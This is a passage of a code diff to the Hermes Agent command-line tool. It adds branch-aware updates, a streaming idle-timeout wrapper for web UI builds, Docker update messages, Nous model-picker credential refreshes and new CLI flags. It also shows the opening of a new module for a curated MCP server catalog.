+        # Disable every mouse-tracking variant we know about. Idempotent and
+        # safe to send even when no tracking is currently asserted.
+        os.write(
+            1,
+            b"\x1b[?1003l\x1b[?1002l\x1b[?1001l\x1b[?1000l\x1b[?9l"
+            b"\x1b[?1006l\x1b[?1005l\x1b[?1015l\x1b[?1016l\x1b[?2029l",
+        )
+    except OSError:
+        pass
+
+
+_suppress_mouse_residue_early()
+
+
 def _is_termux_startup_environment_fast() -> bool:
     """Tiny Termux check for pre-import startup shortcuts."""
     prefix = os.environ.get("PREFIX", "")
@@ -2084,6 +2117,13 @@ def cmd_postinstall(args):
 def cmd_model(args):
     """Select default model — starts with provider selection, then model picker."""
     _require_tty("model")
+    if getattr(args, "refresh", False):
+        try:
+            from hermes_cli.models import clear_provider_models_cache
+            clear_provider_models_cache()
+            print("  Cleared model picker cache.")
+        except Exception:
+            pass
     select_provider_and_model(args=args)
 
 
@@ -2374,8 +2414,6 @@ def select_provider_and_model(args=None):
     # Step 2: Provider-specific setup + model selection
     if selected_provider == "openrouter":
         _model_flow_openrouter(config, current_model)
-    elif selected_provider == "ai-gateway":
-        _model_flow_ai_gateway(config, current_model)
     elif selected_provider == "nous":
         _model_flow_nous(config, current_model, args=args)
     elif selected_provider == "openai-codex":
@@ -2962,63 +3000,11 @@ def _model_flow_openrouter(config, current_model=""):
         print("No change.")
 
 
-def _model_flow_ai_gateway(config, current_model=""):
-    """Vercel AI Gateway provider: ensure API key, then pick model with pricing."""
-    from hermes_constants import AI_GATEWAY_BASE_URL
-    from hermes_cli.auth import (
-        PROVIDER_REGISTRY,
-        _prompt_model_selection,
-        _save_model_choice,
-        deactivate_provider,
-    )
-    from hermes_cli.config import get_env_value
-
-    # Route through _prompt_api_key so users can replace a stale/broken key
-    # in-flow (K/R/C) instead of having to edit ~/.hermes/.env by hand.
-    pconfig = PROVIDER_REGISTRY["ai-gateway"]
-    existing_key = get_env_value("AI_GATEWAY_API_KEY") or ""
-    if not existing_key:
-        print(
-            "Create API key here: https://vercel.com/d?to=%2F%5Bteam%5D%2F%7E%2Fai-gateway&title=AI+Gateway"
-        )
-        print("Add a payment method to get $5 in free credits.")
-        print()
-    _resolved, abort = _prompt_api_key(pconfig, existing_key, provider_id="ai-gateway")
-    if abort:
-        return
-
-    from hermes_cli.models import ai_gateway_model_ids, get_pricing_for_provider
-
-    models_list = ai_gateway_model_ids(force_refresh=True)
-    pricing = get_pricing_for_provider("ai-gateway", force_refresh=True)
-
-    selected = _prompt_model_selection(
-        models_list, current_model=current_model, pricing=pricing
-    )
-    if selected:
-        _save_model_choice(selected)
-
-        from hermes_cli.config import load_config, save_config
-
-        cfg = load_config()
-        model = cfg.get("model")
-        if not isinstance(model, dict):
-            model = {"default": model} if model else {}
-            cfg["model"] = model
-        model["provider"] = "ai-gateway"
-        model["base_url"] = AI_GATEWAY_BASE_URL
-        model["api_mode"] = "chat_completions"
-        save_config(cfg)
-        deactivate_provider()
-        print(f"Default model set to: {selected} (via Vercel AI Gateway)")
-    else:
-        print("No change.")
-
-
 def _model_flow_nous(config, current_model="", args=None):
     """Nous Portal provider: ensure logged in, then pick model."""
     from hermes_cli.auth import (
         get_provider_auth_state,
+        NOUS_INFERENCE_AUTH_MODE_LEGACY,
         _prompt_model_selection,
         _save_model_choice,
         _update_config_for_provider,
@@ -3114,8 +3100,21 @@ def _model_flow_nous(config, current_model="", args=None):
     # Fetch live pricing (non-blocking — returns empty dict on failure)
     pricing = get_pricing_for_provider("nous")
 
-    # Check if user is on free tier
-    free_tier = check_nous_free_tier()
+    # Force fresh account data for model selection so recent credit purchases
+    # are reflected immediately.
+    free_tier = check_nous_free_tier(force_fresh=True)
+    if not free_tier:
+        try:
+            refreshed_creds = resolve_nous_runtime_credentials(
+                min_key_ttl_seconds=5 * 60,
+                inference_auth_mode=NOUS_INFERENCE_AUTH_MODE_LEGACY,
+            )
+            if refreshed_creds:
+                creds = refreshed_creds
+        except Exception:
+            # Runtime inference has its own paid-entitlement recovery path; do
+            # not block model selection if this opportunistic remint fails.
+            pass
 
     # Resolve portal URL early — needed both for upgrade links and for the
     # freeRecommendedModels endpoint below.
@@ -3137,7 +3136,24 @@ def _model_flow_nous(config, current_model="", args=None):
     # newly-launched paid models surface in the picker too — independent
     # of CLI release cadence.
     unavailable_models: list[str] = []
+    unavailable_message = ""
     if free_tier:
+        try:
+            from hermes_cli.nous_account import (
+                format_nous_portal_entitlement_message,
+                get_nous_portal_account_info,
+            )
+
+            _account_info = get_nous_portal_account_info(force_fresh=True)
+            unavailable_message = (
+                format_nous_portal_entitlement_message(
+                    _account_info,
+                    capability="paid Nous models",
+                )
+                or ""
+            )
+        except Exception:
+            unavailable_message = ""
         model_ids, pricing = union_with_portal_free_recommendations(
             model_ids, pricing, _nous_portal_url,
         )
@@ -3159,7 +3175,7 @@ def _model_flow_nous(config, current_model="", args=None):
             from hermes_cli.auth import DEFAULT_NOUS_PORTAL_URL
 
             _url = (_nous_portal_url or DEFAULT_NOUS_PORTAL_URL).rstrip("/")
-            print(f"Upgrade at {_url} to access paid models.")
+            print(unavailable_message or f"Upgrade at {_url} to access paid models.")
         return
 
     print(
@@ -3172,6 +3188,7 @@ def _model_flow_nous(config, current_model="", args=None):
         pricing=pricing,
         unavailable_models=unavailable_models,
         portal_url=_nous_portal_url,
+        unavailable_message=unavailable_message,
     )
     if selected:
         _save_model_choice(selected)
@@ -6499,6 +6516,104 @@ def _web_ui_build_needed(web_dir: Path) -> bool:
     return False
 
 
+def _run_with_idle_timeout(
+    cmd: list[str],
+    cwd: Path,
+    *,
+    idle_timeout_seconds: int = 180,
+    indent: str = "    ",
+) -> subprocess.CompletedProcess:
+    """Run a subprocess that streams output, with an idle-output timeout.
+
+    Issue #33788: ``npm run build`` (Vite) was invoked with
+    ``capture_output=True`` and no timeout. On low-memory hosts (notably
+    WSL2 with the default 4 GB cap) the build can stall or sit silent for
+    minutes; users see a frozen terminal, assume the update is hung, and
+    reboot — leaving the editable install in a half-state with the
+    ``hermes`` launcher present but ``hermes_cli`` not importable.
+
+    This helper fixes both halves: stdout is streamed (so the user sees
+    progress), and if no bytes have appeared on stdout/stderr for
+    ``idle_timeout_seconds``, the process is terminated and the call
+    returns with a non-zero ``returncode``. The caller's existing
+    stale-dist fallback (#23817) takes over from there.
+
+    Returns a ``CompletedProcess`` with merged stdout (text), empty
+    stderr, and an integer returncode. Never raises on idle timeout —
+    propagation of failure is via the returncode.
+    """
+    merged_chunks: list[str] = []
+    last_output_ts = _time.monotonic()
+    lock = threading.Lock()
+
+    try:
+        proc = subprocess.Popen(
+            cmd,
+            cwd=cwd,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.STDOUT,
+            text=True,
+            encoding="utf-8",
+            errors="replace",
+            bufsize=1,
+        )
+    except OSError as exc:
+        # E.g. npm not on PATH between the which() check and now.
+        return subprocess.CompletedProcess(cmd, 127, stdout="", stderr=str(exc))
+
+    def _reader() -> None:
+        nonlocal last_output_ts
+        assert proc.stdout is not None
+        for line in proc.stdout:
+            try:
+                print(f"{indent}{line.rstrip()}", flush=True)
+            except UnicodeEncodeError:
+                # Windows cp1252 fallback — same pattern as _say().
+                enc = getattr(sys.stdout, "encoding", None) or "ascii"
+                safe = line.rstrip().encode(enc, errors="replace").decode(enc, errors="replace")
+                print(f"{indent}{safe}", flush=True)
+            with lock:
+                merged_chunks.append(line)
+                last_output_ts = _time.monotonic()
+
+    reader_thread = threading.Thread(target=_reader, daemon=True)
+    reader_thread.start()
+
+    idle_killed = False
+    while True:
+        try:
+            rc = proc.wait(timeout=5)
+            break
+        except subprocess.TimeoutExpired:
+            with lock:
+                idle = _time.monotonic() - last_output_ts
+            if idle > idle_timeout_seconds:
+                idle_killed = True
+                proc.terminate()
+                try:
+                    rc = proc.wait(timeout=3)
+                except subprocess.TimeoutExpired:
+                    proc.kill()
+                    rc = proc.wait()
+                break
+
+    # Drain reader so we don't leak the stdout file descriptor.
+    reader_thread.join(timeout=2)
+
+    combined = "".join(merged_chunks)
+    if idle_killed:
+        msg = (
+            f"\n  ⚠ Build produced no output for {idle_timeout_seconds}s — terminated.\n"
+            "    Common causes: out-of-memory on a low-RAM host (WSL/container),\n"
+            "    a stuck Node process, or an antivirus scan stalling I/O.\n"
+        )
+        combined += msg
+        # Force a non-zero rc even if terminate() raced with a clean exit.
+        if rc == 0:
+            rc = 124  # GNU `timeout` convention
+    return subprocess.CompletedProcess(cmd, rc, stdout=combined, stderr="")
+
+
 def _run_npm_install_deterministic(
     npm: str,
     cwd: Path,
@@ -6604,31 +6719,26 @@ def _build_web_ui(web_dir: Path, *, fatal: bool = False) -> bool:
         if fatal:
             _say("  Run manually:  cd web && npm install && npm run build")
         return False
-    # First attempt
-    r2 = subprocess.run(
-        [npm, "run", "build"],
-        cwd=web_dir,
-        capture_output=True,
-        text=True,
-        encoding="utf-8",
-        errors="replace",
-    )
+    # First attempt — stream output via idle-timeout helper (issue #33788).
+    # capture_output=True on a long Vite build looks identical to a hang;
+    # users react by rebooting, which leaves the editable install in a
+    # half-state. Streaming + idle-kill makes failures observable AND
+    # recoverable (the stale-dist fallback below handles the kill path).
+    r2 = _run_with_idle_timeout([npm, "run", "build"], cwd=web_dir)
     if r2.returncode != 0:
         # Retry once after a short delay — covers boot-time races on Windows
         # (antivirus scanning Node.js binaries, npm cache not ready, transient
         # I/O when launched via Scheduled Task at logon). See issue #23817.
         _time.sleep(3)
-        r2 = subprocess.run(
-            [npm, "run", "build"],
-            cwd=web_dir,
-            capture_output=True,
-            text=True,
-            encoding="utf-8",
-            errors="replace",
-        )
+        r2 = _run_with_idle_timeout([npm, "run", "build"], cwd=web_dir)
 
     if r2.returncode != 0:
-        stderr_preview = (r2.stderr or "").strip()
+        # _run_with_idle_timeout merges stderr into stdout; older callers
+        # using subprocess.run kept them split. Pull from whichever has
+        # content so the error surfaces regardless of which path produced
+        # the CompletedProcess.
+        build_output = (r2.stderr or "") + (r2.stdout or "")
+        stderr_preview = build_output.strip()
         stderr_tail = "\n  ".join(stderr_preview.splitlines()[-10:]) if stderr_preview else ""
         dist_dir = web_dir.parent / "hermes_cli" / "web_dist"
         dist_index = dist_dir / "index.html"
@@ -6988,7 +7098,25 @@ def _update_via_zip(args):
     import zipfile
     from urllib.request import urlretrieve
 
-    branch = "main"
+    # The ZIP fallback exists for Windows git-file-I/O breakage. It pulls a
+    # static archive from GitHub, which is fine for the default "main"
+    # channel but would silently ignore --branch and update from main even
+    # if the user asked for something else — exactly the silent-divergence
+    # bug --branch was added to prevent. Refuse to proceed in that case
+    # rather than lie.
+    branch = _resolve_update_branch(args)
+    if branch != "main":
+        print(
+            f"✗ --branch={branch} is not supported on the Windows ZIP-fallback "
+            "update path."
+        )
+        print(
+            "  This path runs when git file I/O is broken on the system. "
+            "Either resolve the git-side breakage (typically an antivirus "
+            "or NTFS filter holding files open) and rerun `hermes update "
+            f"--branch {branch}`, or update against main with `hermes update`."
+        )
+        sys.exit(1)
     zip_url = (
         f"https://github.com/NousResearch/hermes-agent/archive/refs/heads/{branch}.zip"
     )
@@ -7101,6 +7229,11 @@ def _update_via_zip(args):
         _install_python_dependencies_with_optional_fallback(pip_cmd)
 
     _update_node_dependencies()
+    # Core (Python deps + git pull / ZIP extract) is now complete; the CLI
+    # is functional from this point onward. The web UI build below is
+    # optional — a failure here only affects ``hermes dashboard``. Make
+    # that visible so users don't panic and reboot mid-build (#33788).
+    print("→ Core update complete. Building dashboard (optional)...")
     _build_web_ui(PROJECT_ROOT / "web")
 
     # Sync skills
@@ -8129,37 +8262,18 @@ def _install_psutil_android_compat(
     nothing is persisted in the repository.
 
     Stopgap: remove this once https://github.com/giampaolo/psutil/pull/2762
-    merges and ships in a release. ``scripts/install_psutil_android.py``
-    contains the same logic for ``scripts/install.sh`` (fresh installs).
-    Both copies should be removed together.
+    merges and ships in a release. The standalone installer script uses the
+    same shared helper and should be removed together.
     """
-    import tarfile
     import tempfile
     import urllib.request
-
-    psutil_url = (
-        "https://files.pythonhosted.org/packages/aa/c6/"
-        "d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/"
-        "psutil-7.2.2.tar.gz"
-    )
+    from hermes_cli.psutil_android import PSUTIL_URL, prepare_patched_psutil_sdist
 
     with tempfile.TemporaryDirectory() as tmp:
         tmp_path = Path(tmp)
         archive = tmp_path / "psutil.tar.gz"
-        urllib.request.urlretrieve(psutil_url, archive)
-        with tarfile.open(archive) as tar:
-            tar.extractall(tmp_path)
-
-        src_root = next(
-            p for p in tmp_path.iterdir() if p.is_dir() and p.name.startswith("psutil-")
-        )
-        common_py = src_root / "psutil" / "_common.py"
-        content = common_py.read_text(encoding="utf-8")
-        marker = 'LINUX = sys.platform.startswith("linux")'
-        replacement = 'LINUX = sys.platform.startswith(("linux", "android"))'
-        if marker not in content:
-            raise RuntimeError("psutil Android compatibility patch marker not found")
-        common_py.write_text(content.replace(marker, replacement), encoding="utf-8")
+        urllib.request.urlretrieve(PSUTIL_URL, archive)
+        src_root = prepare_patched_psutil_sdist(archive, tmp_path)
 
         _run_install_with_heartbeat(
             install_cmd_prefix + ["install", "--no-build-isolation", str(src_root)],
@@ -8395,13 +8509,44 @@ def _finalize_update_output(state):
             pass
 
 
-def _cmd_update_check():
-    """Implement ``hermes update --check``: fetch and report without installing."""
+def _resolve_update_branch(args) -> str:
+    """Normalize ``args.branch`` into a non-empty branch name.
+
+    Centralizes the "default to main, accept --branch override, treat empty
+    or whitespace-only values as the default" parsing so every consumer of
+    ``--branch`` (check path, git-update path, ZIP-fallback path) agrees on
+    the same answer.
+    """
+    return (getattr(args, "branch", None) or "main").strip() or "main"
+
+
+def _cmd_update_check(branch: str = "main", *, branch_explicit: bool = False):
+    """Implement ``hermes update --check``: fetch and report without installing.
+
+    ``branch`` selects which branch the check compares against. Default is
+    "main"; callers can pass another branch to ask "are there new commits
+    on origin/<branch>?" without performing the update.
+
+    ``branch_explicit`` is True iff the caller passed --branch on the CLI.
+    PyPI installs can't honor non-default branches, so when this is True
+    on a PyPI install we surface a one-line notice instead of silently
+    dropping the flag.
+    """
     from hermes_cli.config import detect_install_method
     method = detect_install_method(PROJECT_ROOT)
+    if method == "docker":
+        # Docker can't ``git fetch`` from within the container.  Surface the
+        # same long-form ``docker pull`` guidance ``hermes update`` (apply
+        # path) uses — telling the user to "reinstall via curl" or that
+        # ".git is missing" would point them at the wrong remediation.
+        from hermes_cli.config import format_docker_update_message
+        print(format_docker_update_message())
+        sys.exit(1)
     if method == "pip":
         from hermes_cli.config import recommended_update_command
         from hermes_cli.banner import check_via_pypi
+        if branch_explicit and branch != "main":
+            print(f"⚠ --branch is ignored for PyPI installs (would have checked '{branch}').")
         result = check_via_pypi()
         if result is None:
             print("✗ Could not reach PyPI to check for updates.")
@@ -8422,16 +8567,34 @@ def _cmd_update_check():
     if sys.platform == "win32":
         git_cmd = ["git", "-c", "windows.appendAtomically=false"]
 
-    # Fetch both origin and upstream; prefer upstream as the canonical reference
-    print("→ Fetching from upstream...")
-    fetch_result = subprocess.run(
-        git_cmd + ["fetch", "upstream"],
-        cwd=PROJECT_ROOT,
-        capture_output=True,
-        text=True,
-    )
-    if fetch_result.returncode != 0:
-        # Fallback to origin if upstream doesn't exist
+    # Fetch both origin and upstream; prefer upstream as the canonical reference.
+    # Note: upstream/<branch> may not exist for non-main branches (a fork's
+    # bb/gui has no upstream counterpart), so when the caller picks a
+    # non-default branch we skip the upstream probe and use origin directly.
+    if branch == "main":
+        print("→ Fetching from upstream...")
+        fetch_result = subprocess.run(
+            git_cmd + ["fetch", "upstream"],
+            cwd=PROJECT_ROOT,
+            capture_output=True,
+            text=True,
+        )
+        if fetch_result.returncode != 0:
+            # Fallback to origin if upstream doesn't exist
+            print("→ Fetching from origin...")
+            fetch_result = subprocess.run(
+                git_cmd + ["fetch", "origin"],
+                cwd=PROJECT_ROOT,
+                capture_output=True,
+                text=True,
+            )
+            upstream_exists = False
+            compare_branch = f"origin/{branch}"
+        else:
+            upstream_exists = True
+            compare_branch = f"upstream/{branch}"
+    else:
+        # Non-default branch: compare against origin/<branch> directly.
         print("→ Fetching from origin...")
         fetch_result = subprocess.run(
             git_cmd + ["fetch", "origin"],
@@ -8440,10 +8603,7 @@ def _cmd_update_check():
             text=True,
         )
         upstream_exists = False
-        compare_branch = "origin/main"
-    else:
-        upstream_exists = True
-        compare_branch = "upstream/main"
+        compare_branch = f"origin/{branch}"
 
     if fetch_result.returncode != 0:
         stderr = fetch_result.stderr.strip()
@@ -8457,6 +8617,20 @@ def _cmd_update_check():
                 print(f"  {stderr.splitlines()[0]}")
         sys.exit(1)
 
+    # Verify the compare ref actually exists before asking rev-list about it.
+    # Without this, `git rev-list HEAD..origin/<bogus> --count` exits 128 and
+    # (with check=True) raises CalledProcessError, surfacing a Python
+    # traceback. Friendlier to detect-and-report.
+    verify_result = subprocess.run(
+        git_cmd + ["rev-parse", "--verify", "--quiet", compare_branch],
+        cwd=PROJECT_ROOT,
+        capture_output=True,
+        text=True,
+    )
+    if verify_result.returncode != 0:
+        print(f"✗ Branch '{branch}' not found on {compare_branch.split('/', 1)[0]}.")
+        sys.exit(1)
+
     rev_result = subprocess.run(
         git_cmd + ["rev-list", f"HEAD..{compare_branch}", "--count"],
         cwd=PROJECT_ROOT,
@@ -8668,14 +8842,35 @@ def cmd_update(args):
     runs the update, then restores stdio on the way out (even on
     ``sys.exit`` or unhandled exceptions).
     """
-    from hermes_cli.config import is_managed, managed_error
+    from hermes_cli.config import (
+        detect_install_method,
+        format_docker_update_message,
+        is_managed,
+        managed_error,
+    )
 
     if is_managed():
         managed_error("update Hermes Agent")
         return
 
+    # Docker users can't ``git pull`` — the image excludes ``.git`` from
+    # the build context.  Bail with a friendly explanation pointing at
+    # ``docker pull`` BEFORE any of the apply-path / check-path branches
+    # below get a chance to error out with misleading "Not a git
+    # repository" text.  See format_docker_update_message() for the full
+    # rationale and tag-pinning / config-persistence notes.
+    if detect_install_method(PROJECT_ROOT) == "docker":
+        print(format_docker_update_message())
+        sys.exit(1)
+
     if getattr(args, "check", False):
-        _cmd_update_check()
+        # --check honors --branch so the "any new commits?" answer matches
+        # what a subsequent `hermes update --branch=<x>` would actually pull.
+        branch = _resolve_update_branch(args)
+        _cmd_update_check(
+            branch=branch,
+            branch_explicit=bool(getattr(args, "branch", None)),
+        )
         return
 
     gateway_mode = getattr(args, "gateway", False)
@@ -8835,26 +9030,57 @@ def _cmd_update_impl(args, gateway_mode: bool):
         )
         current_branch = result.stdout.strip()
 
-        # Always update against main
-        branch = "main"
+        # Determine the target branch. Default is "main" (the long-standing
+        # CLI behavior); --branch overrides for callers that want to update
+        # against a non-default channel.
+        branch = _resolve_update_branch(args)
 
-        # If user is on a non-main branch or detached HEAD, switch to main
-        if current_branch != "main":
+        # If user is on a different branch than the update target, switch
+        # to the target. When the target is "main" this is the historical
+        # "always update against main" behavior; for any other target it's
+        # the same thing — get HEAD onto the requested branch first, then
+        # fast-forward.
+        if current_branch != branch:
             label = (
                 "detached HEAD"
                 if current_branch == "HEAD"
                 else f"branch '{current_branch}'"
             )
-            print(f"  ⚠ Currently on {label} — switching to main for update...")
+            print(f"  ⚠ Currently on {label} — switching to {branch} for update...")
             # Stash before checkout so uncommitted work isn't lost
             auto_stash_ref = _stash_local_changes_if_needed(git_cmd, PROJECT_ROOT)
-            subprocess.run(
-                git_cmd + ["checkout", "main"],
+            checkout_result = subprocess.run(
+                git_cmd + ["checkout", branch],
                 cwd=PROJECT_ROOT,
                 capture_output=True,
                 text=True,
-                check=True,
             )
+            if checkout_result.returncode != 0:
+                # Local checkout doesn't have this branch yet. Try to set
+                # it up as a tracking branch of origin/<branch>. This is
+                # the common case when the requested branch exists upstream
+                # but was never checked out locally.
+                track_result = subprocess.run(
+                    git_cmd + ["checkout", "-B", branch, f"origin/{branch}"],
+                    cwd=PROJECT_ROOT,
+                    capture_output=True,
+                    text=True,
+                )
+                if track_result.returncode != 0:
+                    # Restore the user's prior branch + stash before bailing
+                    # so we don't leave them stranded in a weird state.
+                    if auto_stash_ref is not None:
+                        _restore_stashed_changes(
+                            git_cmd,
+                            PROJECT_ROOT,
+                            auto_stash_ref,
+                            prompt_user=False,
+                            input_fn=gw_input_fn,
+                        )
+                    print(f"✗ Branch '{branch}' does not exist locally or on origin.")
+                    if track_result.stderr.strip():
+                        print(f"  {track_result.stderr.strip().splitlines()[0]}")
+                    sys.exit(1)
         else:
             auto_stash_ref = _stash_local_changes_if_needed(git_cmd, PROJECT_ROOT)
 
@@ -8876,6 +9102,11 @@ def _cmd_update_impl(args, gateway_mode: bool):
 
         if commit_count == 0:
             _invalidate_update_cache()
+
+            # Even if origin is up to date, the fork may be behind upstream
+            if is_fork and branch == "main":
+                _sync_with_upstream_if_needed(git_cmd, PROJECT_ROOT)
+
             # Restore stash and switch back to original branch if we moved
             if auto_stash_ref is not None:
                 _restore_stashed_changes(
@@ -8885,7 +9116,7 @@ def _cmd_update_impl(args, gateway_mode: bool):
                     prompt_user=prompt_for_restore,
                     input_fn=gw_input_fn,
                 )
-            if current_branch not in {"main", "HEAD"}:
+            if current_branch not in {branch, "HEAD"}:
                 subprocess.run(
                     git_cmd + ["checkout", current_branch],
                     cwd=PROJECT_ROOT,
@@ -8907,7 +9138,7 @@ def _cmd_update_impl(args, gateway_mode: bool):
         try:
             from hermes_cli.backup import create_quick_snapshot
 
-            snap_id = create_quick_snapshot(label="pre-update")
+            snap_id = create_quick_snapshot(label="pre-update", keep=1)
             if snap_id:
                 print(f"  ✓ Pre-update snapshot: {snap_id}")
         except Exception as exc:
@@ -8947,7 +9178,7 @@ def _cmd_update_impl(args, gateway_mode: bool):
                     if reset_result.stderr.strip():
                         print(f"  {reset_result.stderr.strip()}")
                     print(
-                        "  Try manually: git fetch origin && git reset --hard origin/main"
+                        f"  Try manually: git fetch origin && git reset --hard origin/{branch}"
                     )
                     sys.exit(1)
 
@@ -9077,6 +9308,10 @@ def _cmd_update_impl(args, gateway_mode: bool):
         _refresh_active_lazy_features()
 
         _update_node_dependencies()
+        # See note above (ZIP path): core is now complete, web UI build is
+        # optional from a CLI perspective. Telegraphing this avoids the
+        # "stuck at webui-build → reboot → broken install" trap (#33788).
+        print("→ Core update complete. Building dashboard (optional)...")
         _build_web_ui(PROJECT_ROOT / "web")
 
         print()
@@ -10683,6 +10918,22 @@ def cmd_dashboard(args):
             sys.exit(1)
         print(f"→ Skipping web UI build (--skip-build); using dist at {_dist_root}")
 
+    # Discover and load plugins so any DashboardAuthProvider plugin
+    # (e.g. plugins/dashboard_auth/nous) registers BEFORE start_server's
+    # fail-closed gate check runs. The top-level argparse setup skips
+    # plugin discovery for built-in subcommands like ``dashboard`` to
+    # save ~500ms startup; we have to trigger it explicitly here because
+    # the dashboard's server-side runtime depends on plugin-registered
+    # providers (image_gen, web, dashboard_auth, …).
+    try:
+        from hermes_cli.plugins import discover_plugins
+        discover_plugins()
+    except Exception as exc:
+        # Discovery failures must not block dashboard startup outright —
+        # log and proceed; the gate's fail-closed branch will surface
+        # the missing-provider state if it matters.
+        print(f"⚠ Plugin discovery failed: {exc}", file=sys.stderr)
+
     from hermes_cli.web_server import start_server
 
     embedded_chat = args.tui or os.environ.get("HERMES_DASHBOARD_TUI") == "1"
@@ -11067,6 +11318,11 @@ def main():
         help="Select default model and provider",
         description="Interactively select your inference provider and default model",
     )
+    model_parser.add_argument(
+        "--refresh",
+        action="store_true",
+        help="Wipe the model picker disk cache and re-fetch every provider's live /v1/models list.",
+    )
     model_parser.add_argument(
         "--portal-url",
         help="Portal base URL for Nous login (default: production portal)",
@@ -11253,6 +11509,19 @@ def main():
         action="store_true",
         help="Replace any existing gateway instance (useful for systemd)",
     )
+    gateway_run.add_argument(
+        "--no-supervise",
+        action="store_true",
+        help=(
+            "Inside the s6-overlay Docker image, normally `gateway run` is "
+            "automatically redirected to the supervised s6 service (so the "
+            "gateway gets auto-restart on crash, plus a supervised dashboard "
+            "if HERMES_DASHBOARD is set). Pass --no-supervise to opt out and "
+            "get the historical pre-s6 foreground behavior: the gateway is "
+            "the container's main process and the container exits with the "
+            "gateway's exit code. No effect outside an s6 container."
+        ),
+    )
     _add_accept_hooks_flag(gateway_run)
     _add_accept_hooks_flag(gateway_parser)
 
@@ -12399,6 +12668,11 @@ Examples:
         ],
     )
     skills_search.add_argument("--limit", type=int, default=10, help="Max results")
+    skills_search.add_argument(
+        "--json",
+        action="store_true",
+        help="Output JSON instead of a table (full identifiers, scripting-friendly)",
+    )
 
     skills_install = skills_subparsers.add_parser("install", help="Install a skill")
     skills_install.add_argument(
@@ -12496,6 +12770,31 @@ Examples:
         help="Skip confirmation prompt when using --restore",
     )
 
+    skills_repair_official = skills_subparsers.add_parser(
+        "repair-official",
+        help="Backfill or restore official optional skills from repo source",
+        description=(
+            "Repair official optional skill provenance. By default, only backfills "
+            "hub metadata for exact matches. Pass --restore to replace missing or "
+            "mutated active copies from optional-skills/, moving existing copies to "
+            "a restore backup first. Use name 'all' to repair every optional skill."
+        ),
+    )
+    skills_repair_official.add_argument(
+        "name", help="Official optional skill folder/frontmatter name, or 'all'"
+    )
+    skills_repair_official.add_argument(
+        "--restore",
+        action="store_true",
+        help="Restore from official optional source, backing up existing matching copies",
+    )
+    skills_repair_official.add_argument(
+        "--yes",
+        "-y",
+        action="store_true",
+        help="Skip confirmation prompt when using --restore",
+    )
+
     skills_publish = skills_subparsers.add_parser(
         "publish", help="Publish a skill to a registry"
     )
@@ -13018,6 +13317,24 @@ Examples:
     )
     mcp_login_p.add_argument("name", help="Server name to re-authenticate")
 
+    # ── Catalog (Nous-approved MCPs shipped with the repo) ─────────────────
+    mcp_sub.add_parser(
+        "picker",
+        help="Interactive catalog picker (also the default for `hermes mcp`)",
+    )
+    mcp_sub.add_parser(
+        "catalog",
+        help="List Nous-approved MCPs available for one-click install",
+    )
+    mcp_install_p = mcp_sub.add_parser(
+        "install",
+        help="Install a catalog MCP by name (e.g. `hermes mcp install n8n`)",
+    )
+    mcp_install_p.add_argument(
+        "identifier",
+        help="Catalog entry name (or `official/<name>`)",
+    )
+
     _add_accept_hooks_flag(mcp_parser)
 
     def cmd_mcp(args):
@@ -13431,6 +13748,17 @@ Examples:
         default=False,
         help="Assume yes for interactive prompts (config migration, stash restore). API-key entry is skipped; run 'hermes config migrate' separately for those.",
     )
+    update_parser.add_argument(
+        "--branch",
+        default=None,
+        metavar="NAME",
+        help=(
+            "Update against this branch instead of the default (main). "
+            "If the local checkout is on a different branch, hermes will "
+            "switch to the requested branch first (auto-stashing any "
+            "uncommitted changes)."
+        ),
+    )
     update_parser.add_argument(
         "--force",
         action="store_true",

hermes_cli/mcp_catalog.py

@@ -0,0 +1,776 @@
+"""MCP catalog — curated, Nous-approved MCP servers shipped with the repo.
+
+Mirrors the optional-skills/ pattern: each catalog entry lives under
+``optional-mcps/<name>/manifest.yaml`` and ships disabled. Users discover
+entries via ``hermes mcp catalog`` or the interactive ``hermes mcp picker``,
+and install them with ``hermes mcp install <name>`` (or by toggling in the
+picker, which flows them through any required env/OAuth setup).
+
+Catalog policy:
+- Entries are added only by merging a PR into hermes-agent. Presence in the
+  ``optional-mcps/`` directory = Nous approval. No community tier, no trust
+  signals beyond "it's in the catalog".
+- Manifests pin transport details (commands, args, refs). MCPs are never
+  auto-updated; users explicitly re-run ``hermes mcp install <name>`` to
+  pull a new manifest version after a repo update.
+- Secrets prompted at install time go to ``~/.hermes/.env`` (the
+  .env-is-for-secrets rule). Non-secret env vars also go to .env to keep
+  one credential store.
+
+See website/docs/user-guide/mcp-catalog.md for user docs.
+See references/mcp-catalog.md (this repo's skill) for the manifest schema.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import shutil
+import subprocess
+from dataclasses import dataclass, field
+from pathlib import Path
+from typing import Any, Dict, List, Optional
+
+import yaml
+
+from hermes_constants import get_hermes_home, get_optional_mcps_dir
+from hermes_cli.colors import Colors, color
+from hermes_cli.config import (
+    load_config,
+    save_config,
+    get_env_value,
+    save_env_value,
+)
+from hermes_cli.cli_output import prompt as _prompt_input, prompt_yes_no
+
+_MANIFEST_VERSION = 1
+
+# Substituted at install time inside `transport.command` / `transport.args`.
+_INSTALL_DIR_VAR = "${INSTALL_DIR}"
+
+
+# ─── Data classes ────────────────────────────────────────────────────────────
+
+
+@dataclass
+class EnvVarSpec:
+    name: str
+    prompt: str
+    required: bool = True
+    secret: bool = True
+    default: str = ""
+
+
+@dataclass
+class AuthSpec:
+    type: str  # "api_key" | "oauth" | "none"
+    env: List[EnvVarSpec] = field(default_factory=list)
+    # OAuth-specific (case 2: third-party provider like Google)
+    provider: Optional[str] = None
+    scopes: List[str] = field(default_factory=list)
+    env_var: Optional[str] = None
+
+
+@dataclass
+class TransportSpec:
+    type: str  # "stdio" | "http"
+    command: Optional[str] = None
+    args: List[str] = field(default_factory=list)
+    url: Optional[str] = None
+    version: Optional[str] = None  # informational, pinned
+
+
+@dataclass
+class InstallSpec:
+    """Optional bootstrap step (git clone + dep install).
+
+    Omit for one-shot launchable servers (npx, uvx).
+    """
+    type: str  # "git"
+    url: str
+    ref: str  # commit/tag/branch — pinned, never floats
+    bootstrap: List[str] = field(default_factory=list)
+
+
+@dataclass
+class ToolsSpec:
+    """Manifest-side tool-selection hints.
+
+    Drives the pre-checked state of the install-time tool checklist, and acts
+    as the fallback selection when probe fails. See install_entry() flow.
+    """
+
+    # If declared, these tool names are pre-checked in the checklist (or
+    # applied directly when probe fails). If None, all probed tools are
+    # pre-checked (or no filter is written when probe fails).
+    default_enabled: Optional[List[str]] = None
+
+
+@dataclass
+class CatalogEntry:
+    name: str
+    description: str
